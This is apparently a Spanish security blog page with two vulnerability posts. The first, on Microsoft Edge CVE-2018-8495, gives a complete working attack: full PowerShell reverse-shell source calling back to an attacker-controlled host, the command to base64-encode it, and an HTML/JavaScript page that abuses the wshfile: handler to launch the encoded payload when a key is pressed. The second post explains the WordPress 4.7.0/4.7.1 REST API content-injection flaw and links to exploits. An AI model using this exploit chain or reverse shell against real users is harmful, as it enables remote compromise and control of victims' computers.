Microsoft Edge logo
Microsoft Edge logo

Microsoft Edge RCE – CVE-2018-8495

PoC para ejecutar una shell inversa en Powershell a partir de la PoC del autor (https://leucosite.com/Microsoft-Edge-RCE/) para la vulnerabilidad de RCE en Microsoft Edge.

Primero necesitamos crear un socket que haga una conexión inversa en Powershell:

$socket = new-object System.Net.Sockets.TcpClient('x.x.x.x', 8080);if($socket -eq $null){exit 1}$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$buffer = new-object System.Byte[] 1024;$encoding = new-object System.Text.AsciiEncoding;do{$writer.Write("BertoShell> ");$writer.Flush();$read = $null;while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0,1024)) -eq $null){}$out = $encoding.GetString($buffer, 0,$read).Replace("`r`n","").Replace("`n","");if(!$out.equals("exit")){$out = $out.split(' ');$res = [string](&$out[0] $out[1..$out.length]);if($res -ne $null){ $writer.WriteLine($res)}}}While (!$out.equals("exit"))$writer.close();$socket.close();

La codificamos en base64:

user@kali1:~$ cat ~/shellcode.txt | iconv --to-code UTF-16LE |base64

Y sustituimos la llamada a la calculadora en la PoC del autor por la llamando a nuestra shell en Powershell:

<a id="q" href='wshfile:test/../../System32/SyncAppvPublishingServer.vbs" test test;powershell -ep bypass -enc JABzAG8AYwBrAGUAdAAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQA5ADQALgA0ADUALgAxADYAOAAnACwAIAA4ADAAOAAwACkAOwBpAGYAKAAkAHMAbwBjAGsAZQB0ACAALQBlAHEAIAAkAG4AdQBsAGwAKQB7AGUAeABpAHQAIAAxAH0AJABzAHQAcgBlAGEAbQAgAD0AIAAkAHMAbwBjAGsAZQB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJAB3AHIAaQB0AGUAcgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwB0AHIAZQBhAG0AKQA7ACQAYgB1AGYAZgBlAHIAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcAOwBkAG8AewAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlACgAIgBCAGUAcgB0AG8AUwBoAGUAbABsAD4AIAAiACkAOwAkAHcAcgBpAHQAZQByAC4ARgBsAHUAcwBoACgAKQA7ACQAcgBlAGEAZAAgAD0AIAAkAG4AdQBsAGwAOwB3AGgAaQBsAGUAKAAkAHMAdAByAGUAYQBtAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQAgAC0AbwByACAAKAAkAHIAZQBhAGQAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAdQBmAGYAZQByACwAIAAwACwAMQAwADIANAApACkAIAAtAGUAcQAgACQAbgB1AGwAbAApAHsAfQAkAG8AdQB0ACAAPQAgACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAdQBmAGYAZQByACwAIAAwACwAJAByAGUAYQBkACkALgBSAGUAcABsAGEAYwBlACgAIgBgAHIAYABuACIALAAiACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAGAAbgAiACwAIgAiACkAOwBpAGYAKAAhACQAbwB1AHQALgBlAHEAdQBhAGwAcwAoACIAZQB4AGkAdAAiACkAKQB7ACQAbwB1AHQAIAA9ACAAJABvAHUAdAAuAHMAcABsAGkAdAAoACcAIAAnACkAOwAkAHIAZQBzACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACYAJABvAHUAdABbADAAXQAgACQAbwB1AHQAWwAxAC4ALgAkAG8AdQB0AC4AbABlAG4AZwB0AGgAXQApADsAaQBmACgAJAByAGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAgACQAdwByAGkAdABlAHIALgBXAHIAaQB0AGUATABpAG4AZQAoACQAcgBlAHMAKQB9AH0AfQBXAGgAaQBsAGUAIAAoACEAJABvAHUAdAAuAGUAcQB1AGEAbABzACgAIgBlAHgAaQB0ACIAKQApACQAdwByAGkAdABlAHIALgBjAGwAbwBzAGUAKAApADsAJABzAG8AYwBrAGUAdAAuAGMAbABvAHMAZQAoACkAOwA=;"'>test</a>
<script>
window.onkeydown=e=>{
window.onkeydown=z={};
q.click()
}
</script>
wordpress-vulnerability
wordpress-vulnerability

WordPress 4.7.0/4.7.1 Unauthenticated Content Injection

Breves nostas de la vulnerabilidad:

La vulnerabilidad reside en la API Rest de WordPress. En nuestro caso se encuentra en http://albertomagallon.es/wp-json/
Se puede encontrar buscando en el código fuente de la página la URL: https://api.w.org/

Cuando se actualiza una entrada se envía a la API Rest el identificador de la entrada a actualizar. Este identificador debe de ser númerico.
Si se añaden carácteres alfanuméricos detrás del identificador, la función que valida los permisos (update_item_permissions_check) no encuentra la entrada y no valida nada.

Wordpress API Rest vuln 1

WordPress API Rest vuln 1

Aquí viene el primer error, aún no habiendo validado ningún permiso porque no ha encontrado la entrada que hay que actualizar, el flujo de ejecución continúa hacia la función que actualiza la entrada (update_item).
En este punto lo lógico sería que de nuevo tampoco encontrara la entrada pero en cambio hace la búsqueda de otra manera. Antes de llamar a la función get_post para búscar la entrada con el valor alfanumérico que le hemos pasado, hace un cast de la variable con (int)$request[‘id’];.

Wordpress API Rest vuln 2

WordPress API Rest vuln 2

Esto en PHP resulta en una omisión de los carácteres alfabéticos quedando únicamente los númericos. Es decir, ésta vez la función si que encuentra la entrada y la actualiza sin tener permisos. El segundo error.

La salida del siguiente código:


#!/usr/bin/php
<?php
$id = ((int)"1234ABCDE");
echo $id
?>

es 1234

Detalles de la vulnerabilidad en el blog de Sucuri: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

Exploit en github: https://gist.github.com/leonjza/2244eb15510a0687ed93160c623762ab

Exploit-db: https://www.exploit-db.com/exploits/41223/

 

Uso de cookies

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies, pinche el enlace para mayor información.

ACEPTAR
Aviso de cookies